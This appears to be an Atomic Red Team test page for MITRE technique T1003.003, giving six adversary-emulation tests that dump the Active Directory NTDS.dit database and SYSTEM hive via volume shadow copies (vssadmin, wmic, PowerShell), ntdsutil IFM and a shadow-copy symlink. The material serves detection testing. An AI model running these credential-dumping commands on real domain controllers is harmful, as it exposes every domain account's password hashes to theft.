Skip to content

Latest commit

 

History

History
305 lines (181 loc) · 8.36 KB

T1003.003.md

File metadata and controls

305 lines (181 loc) · 8.36 KB

T1003.003 - NTDS

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)

In addition to looking NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)

The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.

  • Volume Shadow Copy
  • secretsdump.py
  • Using the in-built Windows tool, ntdsutil.exe
  • Invoke-NinjaCopy

Atomic Tests


Atomic Test #1 - Create Volume Shadow Copy with NTDS.dit

This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
drive_letter Drive letter to source VSC (including colon) String C:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

vssadmin.exe create shadow /for=#{drive_letter}

Dependencies: Run with command_prompt!

Description: Target must be a Domain Controller
Check Prereq Commands:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT 
Get Prereq Commands:
echo Sorry, Promoting this machine to a Domain Controller must be done manually


Atomic Test #2 - Copy NTDS.dit from Volume Shadow Copy

This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

This test requires steps taken in the test "Create Volume Shadow Copy with NTDS.dit". A successful test also requires the export of the SYSTEM Registry hive. This test must be executed on a Windows Domain Controller.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
vsc_name Name of Volume Shadow Copy String \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
extract_path Path for extracted NTDS.dit Path C:\Windows\Temp

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit
copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE
reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE

Cleanup Commands:

del "#{extract_path}\ntds.dit"        >nul 2> nul
del "#{extract_path}\VSC_SYSTEM_HIVE" >nul 2> nul
del "#{extract_path}\SYSTEM_HIVE"     >nul 2> nul

Dependencies: Run with command_prompt!

Description: Target must be a Domain Controller
Check Prereq Commands:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT 
Get Prereq Commands:
echo Sorry, Promoting this machine to a Domain Controller must be done manually
Description: Volume shadow copy must exist
Check Prereq Commands:
if not exist #{vsc_name} (exit /b 1) 
Get Prereq Commands:
echo Run "Invoke-AtomicTest T1003.003 -TestName 'Create Volume Shadow Copy with NTDS.dit'" to fulfuill this requirement
Description: Extract path must exist
Check Prereq Commands:
if not exist #{extract_path} (exit /b 1) 
Get Prereq Commands:
mkdir #{extract_path}


Atomic Test #3 - Dump Active Directory Database with NTDSUtil

This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped using NTDSUtil for offline credential theft attacks. This capability uses the "IFM" or "Install From Media" backup functionality that allows Active Directory restoration or installation of subsequent domain controllers without the need of network-based replication.

Upon successful completion, you will find a copy of the ntds.dit file in the C:\Windows\Temp directory.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
output_folder Path where resulting dump should be placed Path C:\Windows\Temp\ntds_T1003

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

mkdir #{output_folder}
ntdsutil "ac i ntds" "ifm" "create full #{output_folder}" q q

Cleanup Commands:

rmdir /q /s #{output_folder} >nul 2>&1

Dependencies: Run with command_prompt!

Description: Target must be a Domain Controller
Check Prereq Commands:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT 
Get Prereq Commands:
echo Sorry, Promoting this machine to a Domain Controller must be done manually


Atomic Test #4 - Create Volume Shadow Copy with WMI

This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
drive_letter Drive letter to source VSC (including colon) String C:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

wmic shadowcopy call create Volume=#{drive_letter}

Dependencies: Run with command_prompt!

Description: Target must be a Domain Controller
Check Prereq Commands:
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions  /v ProductType | findstr LanmanNT 
Get Prereq Commands:
echo Sorry, Promoting this machine to a Domain Controller must be done manually


Atomic Test #5 - Create Volume Shadow Copy with Powershell

This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
drive_letter Drive letter to source VSC (including colon) String C:

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

(gwmi -list win32_shadowcopy).Create(#{drive_letter},'ClientAccessible')


Atomic Test #6 - Create Symlink to Volume Shadow Copy

This test is intended to be run on a domain Controller.

The Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
drive_letter Drive letter to source VSC (including colon) String C:
symlink_path symlink path String C:\Temp\vssstore

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

vssadmin.exe create shadow /for=#{drive_letter}
mklink /D #{symlink_path} \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1